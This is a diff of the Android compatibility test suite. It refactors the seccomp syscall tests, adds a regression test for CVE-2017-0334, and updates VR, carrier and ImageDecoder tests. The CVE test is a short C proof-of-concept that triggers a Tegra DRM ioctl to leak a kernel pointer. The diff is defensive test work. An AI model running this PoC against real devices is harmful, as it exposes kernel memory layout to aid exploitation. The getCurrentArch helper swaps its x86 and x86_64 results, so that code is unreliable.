+
+def create_syscall_name_to_number_map(arch, names):
+  arch_config = {
+      'arm': {
+          'uapi_class': 'asm-arm',
+          'extra_cflags': [],
+      },
+      'arm64': {
+          'uapi_class': 'asm-arm64',
+          'extra_cflags': [],
+      },
+      'x86': {
+          'uapi_class': 'asm-x86',
+          'extra_cflags': ['-D__i386__'],
+      },
+      'x86_64': {
+          'uapi_class': 'asm-x86',
+          'extra_cflags': [],
+      },
+      'mips': {
+          'uapi_class': 'asm-mips',
+          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI32'],
+      },
+      'mips64': {
+          'uapi_class': 'asm-mips',
+          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI64'],
+      }
+  }
+
+  # Run preprocessor over the __NR_syscall symbols, including unistd.h,
+  # to get the actual numbers
+  # TODO: The following code is forked from bionic/libc/tools/genseccomp.py.
+  # Figure out if we can de-duplicate them crossing cts project boundary.
+  prefix = '__SECCOMP_'  # prefix to ensure no name collisions
+  kernel_uapi_path = os.path.join(os.getenv('ANDROID_BUILD_TOP'),
+                                  'bionic/libc/kernel/uapi')
+  cpp = subprocess.Popen(
+      [get_latest_clang_path(),
+       '-E', '-nostdinc',
+       '-I' + os.path.join(kernel_uapi_path,
+                           arch_config[arch]['uapi_class']),
+       '-I' + os.path.join(kernel_uapi_path)
+       ]
+      + arch_config[arch]['extra_cflags']
+      + ['-'],
+      universal_newlines=True,
+      stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+  cpp.stdin.write('#include <asm/unistd.h>\n')
+  for name in names:
+    # In SYSCALLS.TXT, there are two arm-specific syscalls whose names start
+    # with __ARM__NR_. These we must simply write out as is.
+    if not name.startswith('__ARM_NR_'):
+      cpp.stdin.write(prefix + name + ', __NR_' + name + '\n')
+    else:
+      cpp.stdin.write(prefix + name + ', ' + name + '\n')
+  content = cpp.communicate()[0].split('\n')
+
+  # The input is now the preprocessed source file. This will contain a lot
+  # of junk from the preprocessor, but our lines will be in the format:
+  #
+  #     __SECCOMP_${NAME}, (0 + value)
+  syscalls = {}
+  for line in content:
+    if not line.startswith(prefix):
+      continue
+    # We might pick up extra whitespace during preprocessing, so best to strip.
+    name, value = [w.strip() for w in line.split(',')]
+    name = name[len(prefix):]
+    # Note that some of the numbers were expressed as base + offset, so we
+    # need to eval, not just int
+    value = eval(value)
+    if name in syscalls:
+      raise Exception('syscall %s is re-defined' % name)
+    syscalls[name] = value
+  return syscalls
+
+def get_latest_clang_path():
+  candidates = sorted(glob.glob(os.path.join(os.getenv('ANDROID_BUILD_TOP'),
+      'prebuilts/clang/host/linux-x86/clang-*')), reverse=True)
+  for clang_dir in candidates:
+    clang_exe = os.path.join(clang_dir, 'bin/clang')
+    if os.path.exists(clang_exe):
+      return clang_exe
+  raise FileNotFoundError('Cannot locate clang executable')
+
+def main():
+  dictionary = {}
+  for arch in _SUPPORTED_ARCHS:
+    syscall_names = []
+    for syscall in _INTERESTED_SYSCALLS.keys():
+      if (arch in _INTERESTED_SYSCALLS[syscall] or
+          'all' == _INTERESTED_SYSCALLS[syscall]):
+        syscall_names.append(syscall)
+    dictionary[arch] = create_syscall_name_to_number_map(arch, syscall_names)
+
+  print(json.dumps(dictionary, sort_keys=True, indent=2))
+
+if __name__ == '__main__':
+  main()
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 2a7bcb3..0f85146 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -16,6 +16,17 @@
 
 package android.seccomp.cts.app;
 
+import java.io.IOException;
+import java.io.InputStream;
+
+import android.content.Context;
+import android.content.res.AssetManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CpuFeatures;
+import org.json.JSONObject;
+import org.json.JSONException;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Assume;
@@ -23,9 +34,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CpuFeatures;
-
 /**
  * Device-side tests for CtsSeccompHostTestCases
  */
@@ -35,68 +43,81 @@
         System.loadLibrary("ctsseccomp_jni");
     }
 
+    private JSONObject mSyscallMap;
+
+    @Before
+    public void initializeSyscallMap() throws IOException, JSONException {
+        final Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        AssetManager manager = context.getAssets();
+        String json = null;
+        try (InputStream is = manager.open("syscalls.json")) {
+            json = readInputStreamFully(is);
+        }
+        mSyscallMap = new JSONObject(json);
+    }
+
     @Test
-    public void testCTSSyscallBlocked() {
+    public void testCTSSyscallBlocked() throws JSONException {
+        String arch = getCurrentArch();
+
+        testBlocked(getSyscallNumber(arch, "add_key"));
+        testBlocked(getSyscallNumber(arch, "keyctl"));
+        testAllowed(getSyscallNumber(arch, "openat"));
+
         if (CpuFeatures.isArm64Cpu()) {
-            testBlocked(217); // __NR_add_key
-            testBlocked(219); // __NR_keyctl
-            testAllowed(56); // __NR_openat
-
-            // b/35034743 - do not remove test without reading bug
-            testAllowed(267); // __NR_fstatfs64
+            // b/35034743 - do not remove test without reading bug.
+            testAllowed(getSyscallNumber(arch, "syncfs"));
         } else if (CpuFeatures.isArmCpu()) {
-            testBlocked(309); // __NR_add_key
-            testBlocked(311); // __NR_keyctl
-            testAllowed(322); // __NR_openat
-
             // b/35906875 - do not remove test without reading bug
-            testAllowed(316); // __NR_inotify_init
-        } else if (CpuFeatures.isX86_64Cpu()) {
-            testBlocked(248); // __NR_add_key
-            testBlocked(250); // __NR_keyctl
-            testAllowed(257); // __NR_openat
-        } else if (CpuFeatures.isX86Cpu()) {
-            testBlocked(286); // __NR_add_key
-            testBlocked(288); // __NR_keyctl
-            testAllowed(295); // __NR_openat
-        } else if (CpuFeatures.isMips64Cpu()) {
-            testBlocked(5239); // __NR_add_key
-            testBlocked(5241); // __NR_keyctl
-            testAllowed(5247); // __NR_openat
-        } else if (CpuFeatures.isMipsCpu()) {
-            testBlocked(4280); // __NR_add_key
-            testBlocked(4282); // __NR_keyctl
-            testAllowed(4288); // __NR_openat
-        } else {
-            Assert.fail("Unsupported OS");
+            testAllowed(getSyscallNumber(arch, "inotify_init"));
         }
     }
 
     @Test
-    public void testCTSSwapOnOffBlocked() {
+    public void testCTSSwapOnOffBlocked() throws JSONException {
+        String arch = getCurrentArch();
+
+        testBlocked(getSyscallNumber(arch, "swapon"));
+        testBlocked(getSyscallNumber(arch, "swapoff"));
+    }
+
+    private int getSyscallNumber(String arch, String name) throws JSONException {
+        JSONObject perArchMap = mSyscallMap.getJSONObject(arch);
+        return perArchMap.getInt(name);
+    }
+
+    private static String getCurrentArch() {
         if (CpuFeatures.isArm64Cpu()) {
-            testBlocked(224); // __NR_swapon
-            testBlocked(225); // __NR_swapoff
+            return "arm64";
         } else if (CpuFeatures.isArmCpu()) {
-            testBlocked(87);  // __NR_swapon
-            testBlocked(115); // __NR_swapoff
+            return "arm";
         } else if (CpuFeatures.isX86_64Cpu()) {
-            testBlocked(167); // __NR_swapon
-            testBlocked(168); // __NR_swapoff
+            return "x86";
         } else if (CpuFeatures.isX86Cpu()) {
-            testBlocked(87);  // __NR_swapon
-            testBlocked(115); // __NR_swapoff
+            return "x86_64";
         } else if (CpuFeatures.isMips64Cpu()) {
-            testBlocked(5162); // __NR_swapon
-            testBlocked(5163); // __NR_swapoff
+            return "mips64";
         } else if (CpuFeatures.isMipsCpu()) {
-            testBlocked(4087); // __NR_swapon
-            testBlocked(4115); // __NR_swapoff
+            return "mips";
         } else {
             Assert.fail("Unsupported OS");
+            return null;
         }
     }
 
+    private String readInputStreamFully(InputStream is) throws IOException {
+        StringBuilder sb = new StringBuilder();
+        byte[] buffer = new byte[4096];
+        while (is.available() > 0) {
+            int size = is.read(buffer);
+            if (size < 0) {
+                break;
+            }
+            sb.append(new String(buffer, 0, size));
+        }
+        return sb.toString();
+    }
+
     private void testBlocked(int nr) {
         Assert.assertTrue("Syscall " + nr + " not blocked", testSyscallBlocked(nr));
     }
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index f414063..52c47cc 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -65,7 +65,7 @@
         <!--__________________-->
         <!-- Bulletin 2017-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
+        <option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
         <option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
         <option name="push" value="CVE-2017-0508->/data/local/tmp/CVE-2017-0508" />
         <option name="push" value="CVE-2017-0333->/data/local/tmp/CVE-2017-0333" />
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0334/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0334/Android.mk
new file mode 100644
index 0000000..166cd62
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0334/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0334
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0334/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0334/poc.c
new file mode 100644
index 0000000..14dd8e5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0334/poc.c
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/syscall.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <fcntl.h>
+struct drm_tegra_open_channel {
+    __u32 client;
+    __u32 pad;
+    void* context;
+};
+#define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717
+int main()
+{
+    int fd, rc;
+    struct drm_tegra_open_channel open_args = {0,0,0};
+    open_args.client = 0x21;
+    fd = open("/dev/dri/renderD129", 0, 0);
+    rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args);
+
+    printf("Leaked ptr is %p\n", open_args.context);
+    return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_03.java b/hostsidetests/security/src/android/security/cts/Poc17_03.java
index 690b277..153accd 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_03.java
@@ -58,4 +58,16 @@
             Thread.sleep(30000);
         }
     }
+
+    /**
+     *  b/33245849
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0334() throws Exception {
+        if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
+           String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
+           assertNotMatchesMultiLine(".*Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
+               +"|0x[c-fC-F][a-fA-F0-9]{7}).*",out);
+        }
+    }
 }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerVrDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerVrDisplayTests.java
index 6a89e26..a261730 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerVrDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerVrDisplayTests.java
@@ -43,23 +43,34 @@
     private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 900;
     private static final int VR_VIRTUAL_DISPLAY_DPI = 320;
 
+    private boolean mVrHeadset;
+
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
         assumeTrue(supportsVrMode());
+        mVrHeadset = isUiModeLockedToVrHeadset();
     }
 
-    private static class VrModeSession implements AutoCloseable {
+    /**
+     * VrModeSession is used to enable or disable persistent vr mode and the vr virtual display. For
+     * standalone vr devices, VrModeSession has no effect, because the device is already in
+     * persistent vr mode whenever it's on, and turning off persistent vr mode on a standalone vr
+     * device puts the device in a bad state.
+     */
+     private class VrModeSession implements AutoCloseable {
 
         void enablePersistentVrMode() throws Exception {
+            if (mVrHeadset) { return; }
             executeShellCommand("setprop vr_virtualdisplay true");
             executeShellCommand("vr set-persistent-vr-mode-enabled true");
         }
 
         @Override
         public void close() throws Exception {
+            if (mVrHeadset) { return; }
             executeShellCommand("vr set-persistent-vr-mode-enabled false");
             executeShellCommand("setprop vr_virtualdisplay false");
         }
@@ -163,6 +174,12 @@
     public void testActivityLaunchPostVr() throws Exception {
         assumeTrue(supportsMultiDisplay());
 
+        if (mVrHeadset) {
+            // This test doesn't apply to a standalone vr device, since vr is always enabled, and
+            // there is no "post vr" behavior to verify.
+            return;
+        }
+
         try (final VrModeSession vrModeSession = new VrModeSession()) {
             // Put the device in persistent vr mode.
             vrModeSession.enablePersistentVrMode();
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
index 372f22c..28afabc 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
@@ -17,23 +17,19 @@
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.database.sqlite.SQLiteException;
 import android.net.Uri;
 import android.provider.Telephony.Carriers;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
 
-import com.android.internal.telephony.uicc.IccUtils;
-
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
@@ -53,6 +49,8 @@
     private static final String TAG = "ApnDatabaseTest";
 
     private ContentResolver mContentResolver;
+    private PackageManager mPackageManager;
+    private boolean mHasCellular;
 
     private static final String NAME = "carrierName";
     private static final String APN = "apn";
@@ -99,6 +97,12 @@
     @Before
     public void setUp() throws Exception {
         mContentResolver = InstrumentationRegistry.getContext().getContentResolver();
+        mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+        // Checks whether the cellular stack should be running on this device.
+        mHasCellular = mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+        if (!mHasCellular) {
+            Log.e(TAG, "No cellular support, all tests will be skipped.");
+        }
     }
 
     private void failMessage() {
@@ -112,6 +116,7 @@
      */
     @Test
     public void testValidCase() {
+        if (!mHasCellular) return;
         Uri uri = Carriers.CONTENT_URI;
         // CONTENT_URI = Uri.parse("content://telephony/carriers");
         // Create A set of column_name/value pairs to add to the database.
@@ -179,6 +184,7 @@
 
     @Test
     public void testQueryConflictCase() {
+        if (!mHasCellular) return;
         String invalidColumn = "random";
         Uri uri = Carriers.CONTENT_URI;
         // CONTENT_URI = Uri.parse("content://telephony/carriers");
@@ -234,6 +240,7 @@
 
     @Test
     public void testUpdateConflictCase() {
+        if (!mHasCellular) return;
         Uri uri = Carriers.CONTENT_URI;
         // CONTENT_URI = Uri.parse("content://telephony/carriers");
         // Create A set of column_name/value pairs to add to the database.
@@ -300,6 +307,7 @@
 
     @Test
     public void testDeleteConflictCase() {
+        if (!mHasCellular) return;
         String invalidColumn = "random";
         Uri uri = Carriers.CONTENT_URI;
         // CONTENT_URI = Uri.parse("content://telephony/carriers");
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 63f8347..353b04a 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -16,6 +16,7 @@
 package android.carrierapi.cts;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Message;
@@ -52,6 +53,7 @@
 @RunWith(AndroidJUnit4.class)
 public class NetworkScanApiTest {
     private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
     private static final String TAG = "NetworkScanApiTest";
     private int mNetworkScanStatus;
     private static final int EVENT_NETWORK_SCAN_START = 100;
@@ -72,6 +74,7 @@
     public void setUp() throws Exception {
         mTelephonyManager = (TelephonyManager)
                 InstrumentationRegistry.getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
         mTestHandlerThread = new NetworkScanHandlerThread(TAG);
         mTestHandlerThread.start();
     }
@@ -179,6 +182,11 @@
      */
     @Test
     public void testRequestNetworkScan() throws InterruptedException {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            // Checks whether the cellular stack should be running on this device.
+            Log.e(TAG, "No cellular support, the test will be skipped.");
+            return;
+        }
         if (!mTelephonyManager.hasCarrierPrivileges()) {
             fail("This test requires a SIM card with carrier privilege rule on it.");
         }
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 80a7236..f101f3a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -32,6 +32,7 @@
 import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorSpace;
 import android.graphics.ImageDecoder;
 import android.graphics.ImageDecoder.DecodeException;
 import android.graphics.ImageDecoder.OnPartialImageListener;
@@ -43,6 +44,7 @@
 import android.graphics.drawable.NinePatchDrawable;
 import android.net.Uri;
 import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.support.v4.content.FileProvider;
 import android.util.DisplayMetrics;
@@ -76,24 +78,28 @@
         public final int width;
         public final int height;
         public final String mimeType;
+        public final ColorSpace colorSpace;
 
-        public Record(int resId, int width, int height, String mimeType) {
+        Record(int resId, int width, int height, String mimeType, ColorSpace colorSpace) {
             this.resId    = resId;
             this.width    = width;
             this.height   = height;
             this.mimeType = mimeType;
+            this.colorSpace = colorSpace;
         }
     }
 
+    private static final ColorSpace sSRGB = ColorSpace.get(ColorSpace.Named.SRGB);
+
     private static final Record[] RECORDS = new Record[] {
-        new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg"),
-        new Record(R.drawable.png_test, 640, 480, "image/png"),
-        new Record(R.drawable.gif_test, 320, 240, "image/gif"),
-        new Record(R.drawable.bmp_test, 320, 240, "image/bmp"),
-        new Record(R.drawable.webp_test, 640, 480, "image/webp"),
-        new Record(R.drawable.google_chrome, 256, 256, "image/x-ico"),
-        new Record(R.drawable.color_wheel, 128, 128, "image/x-ico"),
-        new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng"),
+        new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", sSRGB),
+        new Record(R.drawable.png_test, 640, 480, "image/png", sSRGB),
+        new Record(R.drawable.gif_test, 320, 240, "image/gif", sSRGB),
+        new Record(R.drawable.bmp_test, 320, 240, "image/bmp", sSRGB),
+        new Record(R.drawable.webp_test, 640, 480, "image/webp", sSRGB),
+        new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", sSRGB),
+        new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", sSRGB),
+        new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", sSRGB),
     };
 
     // offset is how many bytes to offset the beginning of the image.
@@ -194,26 +200,27 @@
 
     private interface SourceCreator extends IntFunction<ImageDecoder.Source> {};
 
-    private SourceCreator mCreators[] = new SourceCreator[] {
-        resId -> ImageDecoder.createSource(getAsByteBufferWrap(resId)),
-        resId -> ImageDecoder.createSource(getAsDirectByteBuffer(resId)),
-        resId -> ImageDecoder.createSource(getAsReadOnlyByteBuffer(resId)),
-        resId -> ImageDecoder.createSource(getAsFile(resId)),
+    private SourceCreator[] mCreators = new SourceCreator[] {
+            resId -> ImageDecoder.createSource(getAsByteBufferWrap(resId)),
+            resId -> ImageDecoder.createSource(getAsDirectByteBuffer(resId)),
+            resId -> ImageDecoder.createSource(getAsReadOnlyByteBuffer(resId)),
+            resId -> ImageDecoder.createSource(getAsFile(resId)),
     };
 
     private interface UriCreator extends IntFunction<Uri> {};
 
-    @Test
-    public void testUris() {
-        UriCreator creators[] = new UriCreator[] {
+    private UriCreator[] mUriCreators = new UriCreator[] {
             resId -> getAsResourceUri(resId),
             resId -> getAsFileUri(resId),
             resId -> getAsContentUri(resId),
-        };
+    };
+
+    @Test
+    public void testUris() {
         for (Record record : RECORDS) {
             int resId = record.resId;
             String name = mRes.getResourceEntryName(resId);
-            for (UriCreator f : creators) {
+            for (UriCreator f : mUriCreators) {
                 ImageDecoder.Source src = null;
                 Uri uri = f.apply(resId);
                 String fullName = name + ": " + uri.toString();
@@ -243,32 +250,19 @@
 
     @Test
     public void testInfo() {
-        class Listener implements ImageDecoder.OnHeaderDecodedListener {
-            public int mWidth;
-            public int mHeight;
-            public String mMimeType;
-
-            @Override
-            public void onHeaderDecoded(ImageDecoder decoder, ImageDecoder.ImageInfo info,
-                                        ImageDecoder.Source src) {
-                mWidth  = info.getSize().getWidth();
-                mHeight = info.getSize().getHeight();
-                mMimeType = info.getMimeType();
-            }
-        };
-        Listener l = new Listener();
-
         for (Record record : RECORDS) {
             for (SourceCreator f : mCreators) {
                 ImageDecoder.Source src = f.apply(record.resId);
                 assertNotNull(src);
                 try {
-                    ImageDecoder.decodeDrawable(src, l);
-                    assertEquals(record.width,  l.mWidth);
-                    assertEquals(record.height, l.mHeight);
-                    assertEquals(record.mimeType, l.mMimeType);
+                    ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                        assertEquals(record.width,  info.getSize().getWidth());
+                        assertEquals(record.height, info.getSize().getHeight());
+                        assertEquals(record.mimeType, info.getMimeType());
+                        assertSame(record.colorSpace, info.getColorSpace());
+                    });
                 } catch (IOException e) {
-                    fail("Failed with exception " + e);
+                    fail("Failed " + getAsResourceUri(record.resId) + " with exception " + e);
                 }
             }
         }
@@ -360,7 +354,7 @@
                                         ImageDecoder.Source src) {
                 decoder.setAllocator(allocator);
                 if (doScale) {
-                    decoder.setSampleSize(2);
+                    decoder.setTargetSampleSize(2);
                 }
                 if (doCrop) {
                     decoder.setCrop(new Rect(1, 1, info.getSize().getWidth()  / 2 - 1,
@@ -425,13 +419,13 @@
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                assertFalse(decoder.getRequireUnpremultiplied());
+                assertFalse(decoder.isUnpremultipliedRequired());
 
-                decoder.setRequireUnpremultiplied(true);
-                assertTrue(decoder.getRequireUnpremultiplied());
+                decoder.setUnpremultipliedRequired(true);
+                assertTrue(decoder.isUnpremultipliedRequired());
 
-                decoder.setRequireUnpremultiplied(false);
-                assertFalse(decoder.getRequireUnpremultiplied());
+                decoder.setUnpremultipliedRequired(false);
+                assertFalse(decoder.isUnpremultipliedRequired());
             });
         } catch (IOException e) {
             fail("Failed " + getAsResourceUri(resId) + " with exception " + e);
@@ -459,7 +453,7 @@
                     assertNotNull(src);
 
                     Bitmap unpremul = ImageDecoder.decodeBitmap(src,
-                            (decoder, info, s) -> decoder.setRequireUnpremultiplied(true));
+                            (decoder, info, s) -> decoder.setUnpremultipliedRequired(true));
                     assertNotNull(unpremul);
                     assertEquals(unpremul.hasAlpha(), hasAlpha[i]);
                     assertFalse(unpremul.isPremultiplied());
@@ -685,7 +679,7 @@
         ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                decoder.setRequireUnpremultiplied(true);
+                decoder.setUnpremultipliedRequired(true);
                 decoder.setPostProcessor((c) -> PixelFormat.UNKNOWN);
             });
         } catch (IOException e) {
@@ -748,7 +742,7 @@
                 ImageDecoder.Source src = mCreators[0].apply(record.resId);
                 try {
                     Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                        decoder.setSampleSize(sampleSize);
+                        decoder.setTargetSampleSize(sampleSize);
                     });
 
                     checkSampleSize(name, record.width, sampleSize, dr.getIntrinsicWidth());
@@ -774,7 +768,8 @@
                     ImageDecoder.Source src = f.apply(record.resId);
                     try {
                         Drawable dr = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                            decoder.setSampleSize(supplySampleSize.applyAsInt(info.getSize()));
+                            int sampleSize = supplySampleSize.applyAsInt(info.getSize());
+                            decoder.setTargetSampleSize(sampleSize);
                         });
                         assertEquals(1, dr.getIntrinsicWidth());
                     } catch (IOException e) {
@@ -1056,13 +1051,13 @@
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                assertFalse(decoder.getMutable());
+                assertFalse(decoder.isMutableRequired());
 
-                decoder.setMutable(true);
-                assertTrue(decoder.getMutable());
+                decoder.setMutableRequired(true);
+                assertTrue(decoder.isMutableRequired());
 
-                decoder.setMutable(false);
-                assertFalse(decoder.getMutable());
+                decoder.setMutableRequired(false);
+                assertFalse(decoder.isMutableRequired());
             });
         } catch (IOException e) {
             fail("Failed " + getAsResourceUri(resId) + " with exception " + e);
@@ -1081,7 +1076,7 @@
             public void onHeaderDecoded(ImageDecoder decoder,
                                         ImageDecoder.ImageInfo info,
                                         ImageDecoder.Source src) {
-                decoder.setMutable(true);
+                decoder.setMutableRequired(true);
                 decoder.setAllocator(allocator);
                 if (postProcess) {
                     decoder.setPostProcessor((c) -> PixelFormat.UNKNOWN);
@@ -1116,7 +1111,7 @@
         ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
         try {
             ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                decoder.setMutable(true);
+                decoder.setMutableRequired(true);
                 decoder.setAllocator(ImageDecoder.ALLOCATOR_HARDWARE);
             });
         } catch (IOException e) {
@@ -1129,7 +1124,7 @@
         ImageDecoder.Source src = mCreators[0].apply(RECORDS[0].resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                decoder.setMutable(true);
+                decoder.setMutableRequired(true);
             });
         } catch (IOException e) {
             fail("Failed with exception " + e);
@@ -1179,7 +1174,7 @@
     public void testZeroSampleSize() {
         ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
         try {
-            ImageDecoder.decodeDrawable(src, (decoder, info, s) -> decoder.setSampleSize(0));
+            ImageDecoder.decodeDrawable(src, (decoder, info, s) -> decoder.setTargetSampleSize(0));
         } catch (IOException e) {
             fail("Failed with exception " + e);
         }
@@ -1189,7 +1184,7 @@
     public void testNegativeSampleSize() {
         ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
         try {
-            ImageDecoder.decodeDrawable(src, (decoder, info, s) -> decoder.setSampleSize(-2));
+            ImageDecoder.decodeDrawable(src, (decoder, info, s) -> decoder.setTargetSampleSize(-2));
         } catch (IOException e) {
             fail("Failed with exception " + e);
         }
@@ -1264,7 +1259,7 @@
             public void onHeaderDecoded(ImageDecoder decoder, ImageDecoder.ImageInfo info,
                                         ImageDecoder.Source src) {
                 decoder.setTargetSize(width, height);
-                decoder.setRequireUnpremultiplied(true);
+                decoder.setUnpremultipliedRequired(true);
             }
         };
         ResizeListener l = new ResizeListener();
@@ -1297,7 +1292,7 @@
             ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
                 Size size = info.getSize();
                 decoder.setTargetSize(size.getWidth() * 2, size.getHeight() * 2);
-                decoder.setRequireUnpremultiplied(true);
+                decoder.setUnpremultipliedRequired(true);
             });
         } catch (IOException e) {
             fail("Failed with exception " + e);
@@ -1314,7 +1309,7 @@
                 int width = size.getWidth() / 2 + 3;
                 int height = size.getHeight() / 2 + 3;
                 decoder.setTargetSize(width, height);
